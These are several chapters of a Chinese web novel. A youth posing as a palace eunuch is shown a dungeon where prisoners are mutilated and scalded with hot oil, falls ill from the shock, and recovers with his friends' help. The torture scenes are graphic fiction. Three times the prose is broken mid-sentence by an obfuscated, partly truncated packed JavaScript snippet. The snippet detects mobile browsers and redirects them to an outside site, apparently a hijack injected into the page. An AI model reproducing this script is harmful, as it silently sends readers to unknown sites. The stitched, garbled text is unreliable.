千尧见状腿不由一软,连忙扶着身旁的墙面才没让自己倒下去。 还没缓过神,就见那铁窗里竟伸出了一截黑乎乎的“木棍,那“木棍”竟然还会动,在地上写着什么东西。 但那“木棍”能伸出来的距离实在有限,因此根本写不了什么,只能在地面上留下短短的一笔。 这到底是什么东西? 还没等千尧分辨清楚,身后提灯的黑衣侍卫便上前一步,还没等千尧看清,那截“木棍”就被砍断,咕噜噜地滚过千尧的脚面,留下一片红点。 紧接着千尧听到了这辈子最恐怖的声音。 那是一种痛苦至极的喊叫,却又像是没了舌头,根本喊不出声,只能从喉咙里发出“嗬呀嗬呀”的喘气声,那已经不像是人的声音,而像是濒死的野兽的哀鸣。 千尧也是在这一刻才反应了过来,那截黑黑的东西不是“木棍”,那是……手指。 那一扇还不足他小腿高的铁窗里,关着的是人。 想到这儿,千尧低头看去,然后在墙的两边看到了密密麻麻的,不足半米高的铁窗。 铁窗后……是关着的犯人。 哪怕有人持灯在前,里面的光线都不算亮,因此千尧根本不敢想被关在里面的犯人到底处于怎样的环境。 “公公,怎么不继续前行?” 刚才砍断那人手指的侍卫已经收回了刀,提着灯继续为他照路,见他久久没有动作,低声提醒。 千尧这才回过神一般想要继续向前,可是腿软到不听使唤,挪不动一步。 走在最前面的帝王似乎并没有发现刚发生完的小小意外,一步不停地继续向前,已与他们拉开不短的距离。 千尧很怕他看见自己磨磨唧唧会生气,一气之下把他留在这里。 可是那截瘦到已经不成人形的断指还在他脚边,那断指像是有什么结界,绊得他一步也迈不出去。 一开始只是腿软,但一想到两侧厚厚的墙下关着无数这样的犯人,千尧全身都开始发软。 最后还是持灯的侍卫扶着他,才勉强继续向前走去。 不知走了多久,前面的人终于停下。 面前再也不是狭窄的甬道,视野瞬间开阔了起来。 千尧抬起眼,面前的一切终于和电视剧里的地牢有了些类似的地方。 面前是一片很开阔的场地,但却因为摆满了各式各样的刑具而显得有些拥挤。 那些刑具看起来奇形怪状,但唯一的共同点就是上面沾着层层叠叠或新鲜或干涸的血迹。 “哗啦。” 突然一道沉闷的水声响起。 千尧循声望去,这才发现最右侧居然是一个不大的水池。 里面的水很脏,因此直到里面的人被绳子吊起,千尧这才发现里面居然还有一个人,但那或许已经不能称为是一个人。 那个“人”没有四肢,身上的衣服已经成了丝丝缕缕的破布,暴露出来的地方无一不是伤痕,整张脸不知为何高高肿起,已经看不出本来的面目,整个人肉球一般绳子捆住,浸在水里,他像是已经死了,被泡在水里都没有什么反应,因为实在太安静,所以如果不是他被提出来千尧甚至没有发现水池里居然还有一个人。 不知是这里的空气太稀薄还是血腥味太浓重,千尧胃里不断翻涌,但又不敢吐,只能拼命压制自己。 手不受控制地抖了起来,浑身软的像面条一般,只能死死攥着衣摆才能勉强控制住自己。 太恐怖了。 千尧第一次真心实意地理解了平日里头都不敢抬的宫人,因为这一刻的他也是从未有过的乖觉,恨不得把头埋进地底,根本不敢抬起。 在他过去平稳的十九年人生里,见过最血腥的画面也不过是无意中看到过的杀猪。 平日里连小偷都没见过,更何况是这样虐杀一个人。 因此只要想起刚才的场面,千尧就觉得像是有人在往他的心脏里吹气,让他的心不受控制地变大,再变大,直到到达一个再也无法控制的临界点,一切都会被炸成灰烬。 大概是太过紧张,耳边不受控制地响起了杂乱的嗡鸣。 可饶是如此,千尧却还是依旧能听见周围的声音。 “死了吗?” “回陛下,还活着。”有人回道。 “嗯。” 明明陛下只回了一个“嗯”,然而下面的人却像是都知道接下来该怎么做。 很快他便听到那个“人”被解开扔在地上。 他竟然还能说话,只是大概是嘴里全是血的缘故,含含糊糊,全是水声,要很用力才能听清。 “错……了……臣……知错……” 剩下的话还没说完,千尧便听到了“滋啦”一声。 千尧还没弄明白那是什么声音,就先闻到了一股烧焦的气息。 紧接着,千尧听到了比方才被断指的囚犯更加凄厉的惨叫声。 像是尖锐的铁片狠狠划过墙面,千尧第一次从声音中听到了刺骨的痛意。 明明已经意识到了面前发生了什么,可是大脑却僵住了一般怎么也反应不过来,直到抬头看去,千尧这才发现有人正手持他不认识的器皿在那个“肉球”上浇热油。 “滋啦滋啦。”这是皮肉翻卷的声音,雾蒙蒙的烟从那人身上蔓开,千尧似乎闻到了肉被烫熟的气息。 哪怕千尧屏住呼吸,那股味道还是争前恐后地往他身体里钻,从喉咙一直附着到脏腑,霸道地占领了他体内的每一寸天地。 胃里翻江倒海地不断上涌,哪怕千尧拼命忍耐,但终究还是忍不住“哇”的一声吐了出来,随即再也支撑不住地倒在了地上,腿软到根本支撑不住身体。 千尧晚上根本没吃什么东西,因此吐出来的只有一些酸水,可是哪怕胃里没有东西,他还是控制不住自己,拼命地往外吐。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799771|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 手虽然撑着地面,但两条胳膊抖得厉害,因此千尧总觉得自己下一秒就会倒进自己的呕吐物里,因此他想往旁边挪,可是根本没有力气。 哪怕刚穿越过来就见过血流成河的场面,但他来的时候那些人已经死了,千尧并没有看见他们被杀害的场景,因此那时他只有对死人的恐惧,尚且可以克服。 但现在却完完全全的是虐杀,是一个活人在他面前被虐待至此,哪怕到了如今的地步,那团已经不成人形的“人”依旧没有死,还在地上蠕动。 从小到大千尧连只鸡都没杀过,因此根本无法接受这样血腥场景。 这一刻,千尧好像才真正意识到了这里和他从前生活过的地方是多么不同。 不远处的帝王是如何主宰着这里所有人的命运。 他知道自己此时有多狼狈,他是御前的人,不能如此失态。 可是千尧根本控制不住自己身体的反应,哪怕胃里已经空空如也,但还是控制不住地干呕,眼前被生理性的眼泪浸润得一片模糊,因此许久之后千尧才发现他的面前不知何时多了一双鞋。 黑红色的缎面,以金线绣以云龙纹,只有一人可以穿这样的鞋。 意识似乎这才回笼,随即一股巨大的恐惧像是一只无形的手一般捏住了他的心口。 为什么突然带他来这里?是要给他警示?还是要把他留在这里? 他做错了什么吗? 之前做错了什么千尧暂时想不明白,但他很清楚现在的自己做错了什么。 他实在是太失态了,御前的人代表的是帝王的颜面,而自己现在又跪又吐,可谓是毫无形象,所以他丢的是陛下的脸。 想到这儿千尧惊惧交加,拼命想要补救,可又不敢抬头。 唯一能想到的就是赶紧磕头,可是刚一动作才想起面前是他自己刚吐出来的东西,但千尧已经顾不上,继续重重向下磕去。 然而还没等他的头落下,一只手却突然掐住他下巴,止住了他的动作。 那是一只很凉的手,千尧被这只手握着睡过好几晚,因此甚至已经有些熟悉它上面的温度,冷的像是湖面上永远不会解冻的冰。 而现在这只手正掐着他的下巴,冷意瞬间从他的指尖开始蔓延。 千尧整个人几乎被他指尖传来的温度冻住,木头一般随着他的动作抬起了头,然后对上了那双异瞳的眼睛。 他的眼神很淡,像是在看着一件物件。 “知道他为什么会落得这样的下场吗?” 面前的帝王抬起左手,身旁立刻有人递过来一张软帕。 他伸手接过,动作堪称温柔地替千尧擦干净了嘴角的秽物。 千尧一动也不敢动,有一瞬间觉得自己像是一个没有生命的摆件,正在被面前的人擦去上面不合心意的灰尘。 “嗯?”没有听见他的回答,面前的人有些不满意地出了声。 千尧闻言连忙想要回答,可是整个人却像是僵住了一般,怎么也张不开嘴。 许久,他才终于在自我拉扯中发出了一丝声音。 只是那声音又干又哑,像是多年没有碰过的古琴。 “不……知道。” “因为他不听话。”年轻的帝王说着扔掉了手中的软帕。 先是垂眸看了一眼地面,然后抬眸看向他。 “你呢。” 面前的人终于松开了钳制他的手,然而千尧却仿佛没了知觉的木偶,依旧一动不动地抬着头。 然后就见面前的人笑了一下。 “你听话吗?” 16.朋友 “千尧,千尧?” 千尧似乎听见有人在叫他,想要转过身去看看是谁,可是却没有力气。 只能感觉到有人把他扶了起来,然后喂他喝下去了什么东西。 千尧尝不出到底喝了什么,但还是乖乖地喝了下去。 听话,要听话。 可是没想到的是,他刚喝完了药,面前便出现了一支很长很长的针,眼看就要向他头上扎去。 千尧见状,不知从哪儿爆发出了力气,猛地坐起身来,然后抱着被子躲在墙边,把自己塞进了被子里。 “别扎我,听话,我听话……” “千尧。”又有人在叫他。 那声音听起来很熟悉,可是千尧还是不敢把头从被子里伸出去,生怕刚一出去那根针就会突然从他头上扎下去。 好在耳边的声音并没有响多久便没了,周围重新安静了下去。 千尧缩在被子里,将自己裹得更紧。 他也不知道自己这么坐了多久,久到觉得困倦,眼睛不受控制地闭上想要睡去,可是刚一闭上眼睛,眼前便浮现出了那长长的甬道,密密麻麻的铁窗,没有人四肢的“肉团”,以及热油浇在皮肤上的声音。 千尧猛地睁开眼睛。 面前是一方窄窄的黑暗,他抬手摸了摸,自己还在被子里,这才感到安心,于是蜷了蜷身体将自己裹得更紧。 他好像没有办法睡觉了,只要一闭上眼睛,眼前就会浮现出那天的事。 暗无天日的地牢,断掉的手指,不似人声的惨叫…… 千尧甚至不记得自己到底是怎么出来的? 又或者他真的从里面出来了吗?想到这儿千尧连忙摸了摸周围,直到摸到被子,这才安心了些许。 他出来了,这里不是地牢,也没有陛下,更没有人问他,“你听话吗?” 千尧听到这句话时甚至以为陛下已经知道了自己想要逃跑。 他差点就开始磕头求饶,说自己不跑,再也不跑了,但好在仅存的理智拉住了他。 陛下并没有问他跑不跑?只是问他听不听话? 因此千尧连忙回道:“听话,我听话。” 然后呢? 陛下似乎满意地笑了一下。 再然后……他就不记得了。 再次清醒过来时他已经回到了太监院,可是回来的似乎只有他的身体,魂魄却被困在了那日的地牢里,因此千尧觉得自己似乎开始无法控制他的身体。 他知道自己应该赶紧回去当差,好好听话,毕竟皇宫里应该不会养没有价值的人,可是他根本无法控制自己的身体,连起身都不做不到。 直到小福子和小全子发现了他的不对劲,然后喂给他一碗又一碗看起来似乎是药的东西。 喝了几天后他终于可以起身,但意识还是不受控制地抽离。 身体和大脑像是什么货不对板的东西。 他很困,可是无法闭上眼睛,闭上眼睛又无法入睡,一睡着就会想起那天晚上的事情,然后被惊醒。 循环往复,因此哪怕困到了极致,千尧却还是睡不着。 千尧试着努力过,毕竟他还要赶紧回去当差,没有用的人不会被需要。 可是越是着急,千尧却好像越是好不了。 这可如何是好? 要是一直好不了,他会不会也被关进暗狱里去? 不行,他不要。 想到这儿千尧连忙拼尽全力掀开罩着自己的被子,可面前的黑暗依旧没有散去,外面依旧一片黑暗,天黑了,房间里空荡荡的,同屋的人都还在当值。 千尧想起他还得上夜,于是手脚并用地爬下了床。 可是刚走到门口便没了力气。 但他还是扶着墙逼着自己向外走去,不行,这里是皇宫,没有人会惯着自己。 他不能没用,不然一定会被丢弃。 可是不知为何大脑就是控制不了身体,刚走没几步就倒在了地上,紧接着他听见了一道满是担心的声音,“千尧。” 千尧抬起头,是小福子。 小福子似乎刚回来,见状连忙把他扶了回去。 “你怎么出来了?”小福子把他扶到床上,有些担心地问道。 “我……去上夜。”千尧说着抬眼看了一眼外面的天色,缓缓说道。 “不必去了,安公公交代你最近都不必上夜,让你好好养病。” “养病?我没有生病。” “还说没有生病,你这些日子把我们都吓坏了,整个人丢了魂一样,还说胡话,我们还以为你中邪了,好在太医来过,说你只是受了惊吓,本想替你施针,可你根本不让人靠近,就只能喝药了。” 千尧闻言又想起了那天睁眼时看到的细长的针,“原来是针灸吗?” “是啊,你到底是怎么了?”小福子想要继续问,可是刚一开口,千尧便又不说话,重新恢复了那副丢了魂的模样,小福子见状叹了口气,连忙扶着他躺下,然后去外面端来了熬好的药喂他。 千尧茫茫然地喝着面前黑乎乎的东西,小福子说这是药,可是他竟尝不出苦意。 喝完药后他就困了,可是却怎么也睡不着,连眼睛都不敢闭,只能硬撑着抬头看着头顶。 头顶的房梁不知已经在这里架了多少年,也不知道有没有人吊死在这里? 他又在胡思乱想了,不知为何,似乎从那天起,千尧的脑子里就只剩下了有关于死亡的东西。 或许是因为他知道这将是他注定的宿命。 他是假太监,这辈子都不可能离开皇宫,而太监都是混住,吃穿都在一起,他不敢保证自己能瞒一辈子,若是被发现一定会被陛下扔进暗狱。 可是若是离开,以皇宫的严密程度,也很难不被发现,更何况普天之下莫非王土,他又能跑到哪里去? 从前千尧只是纠结,可经历过那件事后纠结变成了恐惧。 毕竟从前最多只是想象一下被发现的结局,直到在那天晚上他才真实地面对了失败后的命运。 那一刻,千尧这些年所有的安全感和秩序感通通被打破。 他这才终于意识到,这里不是他生活了十九年的世界。 只要遵纪守法不犯罪就可以安稳地度过一生,而在这里,他的命运只掌握在一个人的手里。 捏死自己是真的可以如同捏死一只蚂蚁。 怎么办? 千尧有些疲倦地闭上了眼,下一秒,黑暗和恐惧瞬间袭来,于是千尧又连忙睁开了眼睛。 周围不知什么时候已经安静了下来,夜色静谧,小福子和小全子已经睡了过去。 千尧的右侧是墙,这让他不受控制地想起了暗狱的墙壁,于是向左挪了一些,又抓住了小福子的衣摆,这才稍稍得了些安心。 千尧依旧睡不着。 他已经有些记不清上次睡着到底是什么时候?长时间的清醒让他的大脑迟钝又紧绷,像是一根随时快要崩断的弦。 药依旧日日吃着,可是似乎并没有什么用,小福子和小全子对他更加担心,这担心中还夹杂着一丝恐惧。 千尧自然明白他们在恐惧什么。 虽然身为一个太监能有太医给他医治开药已经是殊荣,可是谁也不能保证这样的“宠爱”有没有期限。 如果千尧一直这么不好下去,说不定就会被陛下遗忘,毕竟他身边实在有太多的人,没有人不可以被代替。 而没有了优待,等待着千尧将是一眼望到头的命运。 是的,所以要好起来,千尧拼命告诉自己。 于是他逼着自己闭上眼睛睡觉,可是还是不行,一闭上眼睛他就会回到那个暗无天日的地牢。 怎么办?怎么办? 千尧试图想出对策,可是却无能为力,依旧日日枯坐熬到天明。 他的饭菜依旧每日都有人按时送来,样式也很是丰盛,可是千尧却吃不下去,尤其是荤腥。 只要看到肉,鼻腔里便会不受控制地闻到一股焦糊气,那是生肉被热油烫熟的气息,想到这儿,千尧胃里便开始翻江倒海。 大概给他送饭的小太监发现了什么,慢慢的,千尧吃的饭菜便只剩下了素菜。 素菜的味道吃起来好了不少,可是千尧依旧吃不下去。 在这种吃不好睡不好的煎熬下,千尧不出意外的以一种飞快的速度瘦了下去。 第一次发现自己似乎瘦了是穿衣服的时候,身上的衣服空荡荡,套在他身上竟然有些不合身,不过并不要紧,把腰带系紧就好。 穿好衣服后千尧想要出门,但还没有到门口就被小福子拦下。 “你去哪儿?外面下雪了,冷得很,我给你打了热水,快洗脸吧。” “下雪了?”千尧闻言更想出去,但小福子不让。 毕竟他现在又不吃饭又不睡觉,身体脆得禁不起一点风浪,因此小福子很怕他冻一下再生了病就不好。 因此千尧只能来到窗边,试图向外看去。 小福子见他真的很想看雪,有些不忍心,于是将窗户打开了一点。 千尧见状连忙凑过去,透过那一点点缝隙向外看。 果然,外面下了好大的雪。 宫道上的宫人正在扫雪,厚厚的积雪已经没过了他们的脚踝,踩在上面会发出“嘎吱嘎吱”的声音。 屋檐上的冰柱足足有他手指那么长,倒挂在梁上,像是透明的水晶。 红色的宫墙下映着满目的雪,像是画里的冬日小景。 冷冽的风顺着窗户的缝隙钻进他的喉咙,但千尧却并不觉得冷,反而觉得整个人都清爽了一些,这些日子积压在他呼吸里的那些如有实质的血腥气,似乎都被这风吹散了些许。 这一刻实在安宁,有一瞬间千尧还以为回到了很久远的过去。 从前他就喜欢像这样,隔着窗户看雪景。 “好了。”小福子不敢让他吹太久的风,连忙关了窗户,“快去洗脸吧,一会儿还要吃药呢。” “嗯。”昨晚又是一夜没睡,千尧有些头疼,但还是乖乖地去洗了脸,然后等着御膳房的人来送饭。 可是让他没想到的是,今日来送早膳的竟然会是小穗子。 千尧看到他的时候还以为是做梦,皇宫里的规矩多,因此千尧本来就不能常常去找他,后来调到陛下身边后能见面的机会就更少了。 再后来他被迫日日上夜,然后生了病,就更没有见过了,没想到今日竟会突然见到他。 小穗子看起来也很开心,但很快,那点开心便在见到了之后迅速散了。 “病还没好吗?怎么瘦了这么多?”小穗子看着他空荡荡的衣袍说道。 宫里的消息也不是时时都那么灵通的,譬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804826|157813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如陛下不想让人知道的事,就一定不会有人知道。 因此没有人知道他那天晚上在暗狱经历了什么。 千尧不想让他担心,因此摇了摇头,什么都没说。 “到底生了什么病啊?”小穗子满眼担心地问道。 千尧没有回答,只是反问道:“你怎么知道我生病了?” “你可是陛下身边受宠的宫人,宫里谁不知道你的事。” “最受宠……”千尧有些茫然地念着这几个字。 “是啊,宫里哪个太监有你这样的殊荣,饭菜有专人送来,不必和大家一起吃,生病了不仅可以休息,还能有太医治病,平日里若是有人生了病都是硬抗的,抗不过去就……” 小穗子说到这儿叹了口气。 千尧自然明白他后面还没说完的话是什么意思。 “是吗?”千尧一时间竟不知道自己该不该为这份殊荣感到开心。 “你到底是怎么了?怎么突然就病了?听说你病了好些日子,我一直想来,昨日才终于争取到了给你送饭的机会过来看看你。” “我……” 千尧太想倾吐,可是话到了嘴边终究还是咽了下去。 告诉小穗子也改变不了任何事,只会让两个人一起恐惧,因此只是说道:“可能是风寒吧。” 小穗子对他从来深信不疑,“冬日到了,就是更容易生病。” 小穗子说着打开了食盒,把里面的饭菜拿了出来,“快吃饭吧,多吃东西会好的快一点,你看你瘦的。” 千尧原本想要分他一双筷子让他和自己一起吃。 谁知下一秒就见小穗子向四周看了看,见周围没人,这才小心翼翼地从袖子里拿出了一个油纸包着的东西,然后捧到千尧的面前展开。 千尧低头看去,里面是一只油汪汪的鸡腿,那鸡腿肉看起来很是肥美,表皮的油几乎要渗透暗黄色的油纸。 明明是很诱人的东西,可千尧看到的第一反应却是恶心。 胃里有什么在不受控制地向上翻涌,但他知道这是小穗子的好意,因此硬生生压制住了自己的生理反应。 “我送饭的时候看你的饭菜没什么油水,你还在生病,应该吃些滋补的东西,于是求了大师傅好久,他才给我偷偷拿了这个鸡腿,你吃,吃完后早点好起来。” 千尧知道在皇宫里这种东西不可能光凭人情就得到,更何况还是小穗子这种最普通的小太监,肯定得使钱,于是连忙问道:“你花了多少银子?” “没多少。”小穗子说着献宝一样把鸡腿递给了他,“你快吃。” 千尧知道对于小穗子来说这个鸡腿有多来之不易,因此哪怕胃里翻江倒海,他还是逼着自己吃了下去。 可是无论他怎么努力,被咬下的鸡肉还是全部堵在了喉咙口,明明喉咙里根本没有东西,但千尧还是咽不下去。 “你怎么了?”小穗子似乎意识到了什么,连忙问道。 千尧想要说话,可是嘴里塞得满满当当,什么也说不出来,因此只是摇了摇头。 虽然没有镜子,但千尧也知道自己的面色应该不会太好,于是低下头,不想让小穗子看见自己的表情。 但两人离得太近,千尧根本瞒不过去。 因此小穗子很快就发现了他的不对劲,“阿尧,你怎么了?” “没……”千尧努力想要把嘴里的东西咽下去后回答他,可是怎么也咽不下,因此只能拼命摇头。 小穗子见状怎么可能还发现不了他状态不对,于是连忙追问道:“到底发生了什么事?” “你怎么了?” “阿尧……” 千尧被这一个个问题问的紧张,更想赶紧把嘴里的东西咽下去,可是越拼命反而越适得其反,最后再也忍不住,猛地推开他,下一秒便不受控制地把嘴里的东西全部吐了出去。 他胃里根本没有东西,因此只吐出来了刚咬下的鸡肉。 可是哪怕吐不出来什么,但身体还是不受控制,恨不得把五脏六腑都吐出去。 可饶是如此,也吐不出那股无法除去的荤腥气。 荤腥,焦糊,腐肉,热油…… 那日的一切不受控制地再次出现,千尧整个人如坠寒冰,恐惧几乎让他整个人分崩离析。 就在他快要再次崩溃的时候,有人抱住了他。 千尧抬起头,这才发现小穗子不知何时跪在他面前把他抱到了怀里。 他没再问到底发生了什么,只是把他抱得很紧,轻轻帮他顺着后背,说:“没事了,没事了……” 明明是一副比他还小的身板,却把他整个人抱在了怀里。 熟悉的气息将千尧整个人环绕,支离破碎的安全感这一刻被小穗子一声声重新建立。 像是漂浮的落叶终于落到了地面,有了归依。 千尧抵着小穗子的胸口,看到地面上不知何时多了一片滴滴答答的水迹。 他抬手摸了摸,这才发现自己竟然哭了,被落在暗狱里的魂魄仿佛重新回到了他的身体,他终于重新有了人的七情六欲。 眼泪不受控制地越掉越凶,千尧紧紧抓着小穗子的衣襟,终于放声哭了起来。 哭到不受控制,上气不接下气,怎么也停不下来。 小穗子没再说话,只是抱着他,任由他终于哭出了这些日子以来所有的恐惧。 17.瘦了 那一场大哭耗尽了千尧所有的体力,当天晚上便发起了高烧,大病一场,但同时似乎也终于哭出了这些日子他心中压抑着的所有担心和恐惧。 在浑浑噩噩的高烧中,千尧反而睡了一个前所未有的好觉。 大脑混沌一片,什么也想不起来,只是一味困倦,因此千尧几乎睡了个天昏地暗。 这一觉睡得格外漫长,仿佛彻底隔绝了外界的干扰,只是偶尔还是能隐隐约约感觉到有人在给他不断喂水喂药。 再次醒来的时候千尧觉得身上很沉,他睁开眼睛,这才发现身上竟被盖上了厚厚的好几床被子,又热又闷,压得他快要喘不过气。 浑身湿淋淋的,整个人像是刚从水里捞出来一般被汗水浸透。 然而不知是不是终于睡了个好觉的缘故,精神却很好。 整个人是难得的神清气爽,四肢也有了力气。 于是他掀开了身上的被子坐了起来,长长舒了一口气。 盖在他身上的被子灰扑扑的,和他的被子一样,看起来就是太监用的。 因此千尧瞬间意识到了这是从哪儿来的,转头向左看去,果不其然,小福子和小全子的床铺上都只有一床褥子。 屋子里没有人,应该都在当值。 应该是怕他冷,所以他们两个人走之前都把被子盖在了他身上。 想到这儿,千尧摸了摸身上的被子,心中不由生出一股热融融的暖意。 虽然来到这里后一直很不适应,但遇到的人都很好。 小穗子就不说了,小福子、小全子和他非亲非故,自己得了那些赏赐他们也没有嫉妒过,甚至还在自己生病时这么照顾自己。 想到这儿千尧便觉得格外感激。 似乎真的应了那句话,病来如山倒,病去如抽丝。 前段时间千尧一度觉得自己说不定会死在这里,可是今日醒来,却觉得整个人瞬间好了起来,身体是说不出的轻盈。 只是实在出了太多的汗,好想洗澡。 不过虽然太监也有专门洗澡的“混堂司”,可那是一个大澡堂子,千尧平日里都是专门给里面的人使银子,挑没人的时候才敢进去匆匆洗洗。 但现在天光大亮,里面肯定很多人,因此千尧只能暂且先忍着。 想到这儿千尧更加想念现代随时可以洗澡的日子。 正想着要不要先去专门烧热水的“惜薪司”接点热水擦擦,就听见外面传来一阵脚步声。 千尧抬头看去,然后就见小福子推门走了进来。 他似乎被冻着,一进来就迅速关了门,然后拼命搓着手,看起来外面很冷。 “下雪了吗?”大门开合间千尧似乎看见了漫天飞舞的雪花,开口问道。 小福子听到声音,这才意识到他醒了,连忙看了过来,随即惊喜道:“你终于醒了。” 千尧闻言就知道自己睡了很久,于是不好意思地挠了挠头,“我是不是睡了很久?” “三天,整整三天啊,你把我们都吓死了。” 小福子说着摸了摸他的额头,“终于不烫了。” 小福子的手格外冰凉,冷的像一块冰,莫名让千尧想起了狗皇帝的手,似乎也是这么冷。 小福子似乎也意识到了,连忙收回了手,将被千尧掀开的被子重新给他盖了回去。 “被子盖好,别着凉了,今日特别冷。” 千尧知道他是好意,因此没有推拒,只是笑了一下,“也用不着三床被子吧。” “谁让咱们屋里没有碳呢,只能给你多盖些了。”小福子说着扶他重新躺下。 “喝不喝水?我再给你倒些。” 千尧睡了太久,喉咙干干的,还真有些渴,于是点了点头。 小福子见状起身给他倒水,桌上的茶已经凉了,又出去给他换了壶热的。 太监能喝的茶都是些碎渣,味道很重,但千尧渴得厉害,也顾不上挑了,一连喝了三大杯才放下。 喝完水后,便感觉到了饿了。 刚有了饿的感觉,肚子便“咕噜噜”地叫了起来,小福子听见很是高兴,问道:“你是不是饿了?” “嗯。”千尧连忙点了点头。 小福子看了一眼时间,“给你送饭的人应该快来了。” 千尧一听瞬间想起来现在给他送饭的是小穗子,一下子期待了起来,恨不得爬起来去接他。 但刚一动作就被小福子拦下来了,“别动,外面冷,你一会儿就坐在床上吃。” “这会不会不太好?” “这有什么,病人最大,而且你不知道看到你愿意吃东西我有多开心,你前段时间那个样子真的把我们吓死了。” 千尧望着他,一时间感动得不知该说什么好,千言万语最终还是只化为了一句,“谢谢你们这些日子的照顾。” “客气什么呀。”小福子不甚在意地摆了摆手,“而且我们也沾了不少你的光呀,每日送来的饭菜你不是也让我们一起吃嘛,而且这些日子你病着,那些菜都是我和小全子吃的,我们入宫这么多年,还是第一次吃到这么好吃的饭菜。” 千尧知道他这是宽慰自己,因此也没有再说下去,只是把一切在心里暗暗记下。 很快,房门再次被打开,是小穗子迎着风雪进来了。 他怀里抱着食盒,身上落满了雪花,小福子见状连忙上前帮他拍打。 “雪是不是又下大了?” “是啊,宫道上的宫人一直在铲雪,但怎么也铲不完,一会儿就下满了。” 小穗子说着看了过来,见他醒了,眼睛瞬间亮了起来。 “阿尧,你终于醒了。” 小穗子说着放下食盒跑了过来,伸手想要碰碰他,但想起自己刚从外面进来,身上全是凉意,又连忙把手收了回来。 “小穗子……”千尧软软地叫了他一声。 “醒了就好,醒了就好。”小穗子说着眼眶一点点红了,怕他看出来,连忙把头扭了过去。 “你睡了这么久,肯定饿了吧。”小穗子说着起身打开食盒,然后从里面端了一碗热粥出来。 “先喝点粥。” “好。”千尧坐起身来,伸手接过,他这些日子都没好好吃过东西,胃里空空荡荡,但之前被心事压着还不觉得饿,如今有了胃口,一时间只觉得饿很了,端起碗就舀了一勺喝了起来,然后被烫了一下。 “你慢点,我喂你喝吧。”小穗子不放心道。 “不用不用。”千尧连忙拒绝道,他又不是从小在这里长大的小少爷,吃饭还得要人喂。 因为太饿,因此千尧喝了一整碗的粥,又吃了两个馒头才吃饱。 小穗子看得满眼欣慰,“吃得下东西就说明病快好了。” “我也觉得。” 千尧吃完后觉得整个人都暖和了起来,终于不再像前段时间那样软绵绵的了,整个人都有了力气。 人有时候真的是一种很顽强的生物,明明前几天千尧还觉得自己要挺不过去了。 可是抱着小穗子哭了一场,狠狠睡了一觉,又饱饱吃了一顿,整个人瞬间便又重新生龙活虎了起来。 仿佛前段时间的一切不过是一场梦,而现在他终于醒了过来。 地牢里的一切依旧存在于他的脑海里,但大脑似乎拥有特殊的自我保护机制,再想起来的时候千尧总觉得雾蒙蒙的隔了一层,因为不真切,所以连恐惧都被稀释了些许。 因此又睡了一觉后,千尧便彻底好了起来。 病好之后自然开心,但想到又要去狗皇帝那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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千尧不知道自己是不是又惹他生气了?想要抬头去观察他的神色,但又不敢再像从前一样放肆,因此只是把头埋得更低,似乎只要看不见就不会怕了。 但这自然是不可能的,面前人的存在感实在太强,因此哪怕他只是看着自己,千尧便已经快要受不住了。 寝殿明明这么热,可后背渗出的汗却是冷的。 “抖什么。” 面前的帝王终于开了口,声音很平静,像只是在叙述一件事情。 千尧闻言这才敢稍稍抬起头,然后就见自己捧着烛台的胳膊确实在抖。 “我,不是,奴才……” 千尧见状连忙想要磕头请罪,可是还没来得及动作,他便感觉到有什么抵住了他的下巴。 千尧低头,是一本卷起来的书。 持书的人微微用力,很轻易便将他头抬起。 千尧被迫随着面前人的动作看向了他,然后就见年轻的帝王好似不认识他了一样,正很仔细地看着他。 这种感觉很不好,像是一件正被打量哪里破损了的物品。 但千尧不敢动,只能任由他看着。 借着千尧手中的烛光,年轻的帝王将他细细打量了个遍。 千尧不明所以,被这样的目光看得心惊胆战,拼命思索自己到底哪里又惹他不满,但却毫无头绪。 不知过了多久,面前的人终于收回了手中的书卷。 千尧见状还以为他是要睡觉了,然而并没有,面前的人依旧静静地望着他。 就在千尧已经快被他看到不自在的时候,面前的人终于再次开了口,像是不满又像是评价。 “瘦了。” 18.乖些 夜色又深又静,已至子时,可岐岸却还是没有睡着。 这是极少有的事,毕竟他每日要处理的政事实在太多,一天下来,哪怕年轻也会觉得疲累不已。 从前往往躺下便能睡去,可是今日却怎么也睡不着,于是他侧头向身边看去。 小太监一如既往的没心没肺,已经靠在床边沉沉睡了过去。 隔着明黄色的帷幔,岐岸看不清他的神色,只能看到一截窄窄的手腕从外面伸了进来,被他握在手里。 岐岸微微用力,感觉到手中的手指细了不少,且透着淡淡的凉意。 从前小太监的手总是很热,握在手中像是能从中汲取源源不断的热意。 可是现在,却和他的手一样冷了。 岐岸原本就只是想拿他暖手,如今没了用,应该直接扔到一边去,可令他自己都意外的是,他却突然有些舍不得,容忍了下去。 思及此,岐岸侧过身,有一搭没一搭地继续把玩着手里的手指。 小太监的手指又细又长,像是上好的玉器,精致得有些不食人间烟火,可偏偏骨节处又透着淡淡的粉,这才增添了几分人气。 真是处处生的精致。 